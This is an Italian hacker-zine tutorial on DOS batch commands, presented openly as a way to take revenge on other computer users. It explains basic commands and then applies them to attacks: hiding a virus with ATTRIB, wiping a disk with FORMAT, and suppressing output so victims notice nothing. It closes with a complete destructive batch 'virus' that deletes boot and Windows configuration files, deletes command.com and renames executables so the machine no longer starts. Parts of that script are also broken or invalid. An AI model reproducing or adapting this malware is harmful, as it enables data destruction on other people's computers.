@//\\//\\//\\//\\//\\@ {| |} --{ | -==COMANDI DOS==- | }-- {| (parte I) |} @//\\//\\//\\//\\//\\@ BAKÜNIN bakunin@meganmail.com Quante volte abbiamo detto: a quello gliela faccio pagare! Ma poi difronte al come fare... Questo è successo tante di quelle volte a me che la metà sarebbe bastato! Quando non si sanno assolutamente nessun linguaggio di programmazione, quando non come muoversi alla ricerca di virus tarocchi su internet, ecco che arriva in aiuto il nostro vecchio, stagionato e tanto amato DOS! Cos'è il DOS? Il Dos è un sistema operativo della Microsoft (quando ancora cercava di fare le cose per bene) padre di Windozz. Sappiate che con la conoscenza di non più di 20 comandi riuscite a far piangere qualsiasi utente di windows e non solo! Il Dos infatti non è molto sicuro basti pensare che basta creare una procedura patch per cancellare dati, formattare l'harddisk o semplicemente far prendere un bello spavento all'utente sfortunato. Il DOS non da assolutamente sicurezza ed infatti alla fine di questo tutorial scoprirete che non è poi così difficile creare virus che facciano piangere chiunque! INIZIAMO QUINDI! Ora qui vi insegno a creare programmi patch cioè quei programmini da principianti che non hanno bisogno di compilatori particolari o di enormi programmi. Il materiale occorrente è un qualsiasi editor di testi. Cosa sono i patch? Sono dei pacchetti di comandi DOS che il computer esegue in rapida successione. Per il DOS è un programma patch ogni file che finisce con l'estensione .bat. Quindi basterà salvare il nostro file: file.bat ! Rassegna dei comandi che uno deve già conoscere: CD cambia directory MD crea directory DEL cancella file o directory COPY copia un file in una directory o in un altro file DIR visualizza file RENAME rinomina un file ed altri che mi verranno in mente man mano che incomincio. PRIMA RIGA di ogni programma: @echo off Questo comando permette la non visualizzazione della scrittura del comando ma solo la sua esecuzione. Cioè? Se io faccio un programma che cambia directory e mi porta alla base, alla root di ogni sistema DOS (cioè il c:), queste sono le due esecuzioni: Senza #echo off: c:\ciao> c:\ciao>cd .. c:\> CON: c:\>ciao> c:\> Come vedete non mi fa vedere la scrittura del comando ma solo la sua esecuzione! Ora impariamo a scrivere. Per scrivere bisogna usare il comando ECHO Quindi ricapitolando: -------INIZIO------------ @echo off echo. echo. echo RICAPITOLANDO.... echo. echo. -------FINE---------- Echo. serve per una riga vuota. echo RICAPITOLANDO... visualizzarà sullo schermo la parola RICAPITOLANDO... Per pulire lo schemo si usa il comando CLS . Quindi: --------INIZIO---------- @echo off cls echo. echo. echo RICAPITOLANDO... echo. echo. -------FINE-------------- Ora supponiamo di porre una scelta all'utente del nostro programma. Questa si fa con il comando CHOICE . Questo ha diverse opzioni: /C:elenco Imposta le lettere che l'utente può scegliere /N Se messo non visualizza le lettere che l'utente può scegliere /T:secondi,lettera Imposta il tempo della scelta in secondi da 0 a 99 per poi (a tempo scaduto e se l'utente non ha scelto) far partire la scelta corrispondente alla lettera selezionata E' ovvio che non può essere una parola la scelta ma solo singoli caratteri. ESEMPIO: CHOICE /C:SN Si o No? Con questo comando all'utente comparirà la domanda: Si o No?[S,N]? e questo potrà inserire come risposta solo o S o N. Se metterà un altra lettera si avrà un BIP del computer. Se invece pongo il comando: CHOICE /C:SNC /N Si, No o Continua? L'utente vedrà solo Sì, No o Continua? senza le possibilità che prima c'erano tra le parentesi quadrate. Abbastanza chiaro? Come faccio ora a regolare le possibilità? Così: CHOICE /C:ABC /N Scegli tra la lettera A, B, C! IF ERRORLEVEL 3 GOTO ciao IF ERRORLEVEL 2 GOTO banana IF ERRORLEVEL 1 GOTO strada :strada :banana :ciao Attraverso il comando IF ERRORLEVEL ... regolo le diverse scelte che l'utente può fare. Se l'utente preme la 3° letterà il programma andrà (GOTO) alla etichetta ciao. Al contrario se farà la 2° scelta andra a banana e con la 1° a strada. Le scelte devono essere in ordine decrescente. cioè non if errorlevel 1 goto .. if errorlevel 2 goto.. .. MA: if errorlevel 2 goto... if errorlevel 1 goto... Dalla scelta maggiore alla minore. Abbiamo quindi visto che attraverso il comando GOTO mi sposto ad una etichetta. Ma cos'è questa etichetta? L'etichetta è questa: :ciao ..comandi vari... Cioè è un punto che io posso raggiungere. ESEMPIO: --------INZIO-------- @echo off cls echo. echo. echo SCEGLI: echo. echo A echo B echo C echo. echo. choice /C:ABC /N CHE LETTERA SCEGLI? IF ERRORLEVEL 3 GOTO CIAO IF ERRORLEVEL 2 GOTO ASF IF ERRORLEVEL 1 GOTO CCC :CCC ECHO. ECHO HAI SCELTO LA LETTERA A GOTO END :ASF ECHO. ECHO HAI SCELTO LA LETTERA B GOTO END :CIAO ECHO. ECHO HAI SCELTO LA LETTERA C :END -------FINE----------- In questo programma ho detto di scegliere una tra le tre lettere e poi gli dico quale a scelto. Semplicissimo. Ora il comando COPY Se voglio copiare un file.aaa nella directory c:\cccc\ basta fare: COPY file.aaa c:\cccc\ Se voglio copiare il file.aaa al posto del file file.bbb faccio: COPY FILE.BBB FILE.AAA Se voglio copiare il file.aaa e il file.bbb in un file.ccc basta fare: COPY file.aaa+file.bbb file.ccc Se voglio copiare in un file ogni cosa che scrivo con la tastiera basta fare così: COPY CON CIAO.CIO Nel file CIAO.CIO (inventato!) metto ogni cosa che scrivo dal comando in avanti. Per uscire da questa opzione basta fare ^C (Ctrl+C). Attrib è un altro comandino caruccio! Permette di visualizzare le caratteristiche di un file o di impostarle. Le caratteristiche sono: +R abilita sola lettura -R disalibita la sola lettura (posso quindi modificarlo!) +A imposta il file come archivio -A lo disattiva +S file di sistema -S non più! +H nasconde il file!!!!!!! -H lo mostra. ESEMPIO: Io creo un virus e poi voglio che si nasconda e si renda invisibile e non modificabile: ATTRIB nome_virus.bat +H +R Ricordatevi che per DOS e WINDOWS non cambia nulla se maiuscolo o minuscolo! CALL avvia l'esecuzione di un altro file patch senza interrompere l'esecuzione del primo: CALL ciao.bat Se non mettessi CALL ciao.bat partirebbe comunque ma potrebbe interrompere il primo programma. Ovviamente CALL funziona con i file.bat! TYPE visualizza il contenuto di un file. Se accompagnato al comando MORE lo fa visualizzare pagina per pagina senza farlo scorrere velocemente. TYPE ciao.cio | MORE FORMAT cancella tutto dal computer. FORMAT /Q C: cancella tutto velocemente C'è anche un'opzione che permette di cancellare tutto senza chidere conferma ma ora non mi viene in mente. Quando me la ricorderò ve la metterò! PAUSE blocca l'esecuzione del programma finchè l'utente non chiaccia un tasto. SORT ordina dati in un file secondo ordine crescente FIND trova un determinato carattere o parola in un file. FIND "ciao come stai?" file.aaa Cerca nel file.aaa la frase ciao come stai? > o < Questi comandi pemettettono di non vedere o vedere l'esecuzione di un comando. Se io scrivo DIR vedo la sua esecuzione e mi mostra i file. Se io faccio: DIR < NUL Non vedo nulla ma l'operazione non viene mostrata. Questo è poco significativo. Ma pensate a questo comando: COPY *.* C:\ > NUL Copia tutti i file nella directory c:\ e non mostra nulla (sembra che non sia successo nulla...)! Oppure è utile anche DIR > file.aaa Esegue il comando DIR all'interno del file.aaa senza mostrare nulla. Se il file.aaa esiste lo cancella e lo ricrea nuovo, altrimenti lo crea e basta. Mica male! IF si usa oltre per le scelte con CHIOCE e gli altri, anche in questo modo: IF EXIST C:\nome_file GOTO ciao Se esiste questo file vai all'etichetta ciao ma si usa anche così: IF NOT EXIST C:..... se non esiste... REM sono i commenti. Questo è tutto più o meno! Per fare questa guida chi ho impiegato 20 minuti! E' un record. ;-) ---------INIZIO------------- @echo off del c:\autoexec.bat rem L'autoexec.bat è il primo file che parte all'avvio del tuo computer (non REM proprio ma per te che stai leggendo questo tutorial va più che bene!) del c:\config.sys rem file della configurazione generale! if exist c:\windows\win.* goto a if exist c:\windows\system.ini goto b if exist c:\windows\*.* goto c rename c:\*.exe *.dio goto file :a del c:\windows\win.* rem file di avvio di windows! :b del c:\windows\system.ini rem file di configurazione di windows :c rename c:\windows\*.exe c:\windows\*.cio md c:\windows\sistemac copy c:\windows\*.sys c:\windows\sistemac >nul :fine del c:\command.com rem fine del programma! ---------FINE--------------- Il computer è partito. Non partirà più! L'unico problema di questo virus e che se io mi accordo in tempo della sua esecuzione, per interromperlo basta fare Ctrl+C. Ma se il computer è abbastanza veloce a fare queste operazioni ci impiega pocchissimo e nessuno si accorgerà di quel che è successo! -----------------FINE LEZIONE----------------------- Per chiarimenti e delucidazioni.... BAKUNIN bakunin@meganmail.com